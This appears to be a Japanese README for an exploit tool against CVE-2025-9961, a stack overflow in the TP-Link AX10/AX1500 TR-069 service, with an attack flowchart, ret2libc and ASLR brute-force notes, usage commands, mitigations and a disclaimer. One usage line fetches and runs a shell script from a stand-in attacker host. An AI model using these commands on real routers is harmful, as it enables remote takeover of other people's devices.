CVE-2025-9961

TP-Link AX10/AX1500 CWMP バッファオーバーフロー RCE

概要

CWMP (TR-069) におけるスタックバッファオーバーフローにより、リモートコード実行が可能になります。

攻撃フロー

flowchart LR
    A[Attacker] --> B["Malicious ACS"]
    B --> C["SetParameterValues"]
    C --> D["Stack Overflow"]
    D --> E["Overwrite PC"]
    E --> F["ret2libc"]
    F --> G["system()"]
    G --> H["RCE"]

技術詳細

脆弱性は、cwmp プロセスが SetParameterValues SOAP リクエストを処理する際に存在します。入力がバッファサイズの計算に使用されますが、境界チェックが行われません。

エクスプロイト:

• ret2libc を使用して system() を呼び出す
• ASLR の回避はブルートフォースにより行う
• サービスが再起動するため、複数回の試行が可能

使用方法

python exploit.py <target_ip> --check-only

python exploit.py 192.168.0.1 --dos

python exploit.py 192.168.0.1 -c "wget http://attacker/shell.sh -O /tmp/s; sh /tmp/s"

パラメータ

要件

なし（標準ライブラリを使用）

緩和策

• 修正済みファームウェアにアップデートする
• TR-069/CWMP を無効化する
• ポート 7547 へのアクセスを制限する

免責事項

許可されたセキュリティテストのみに使用すること。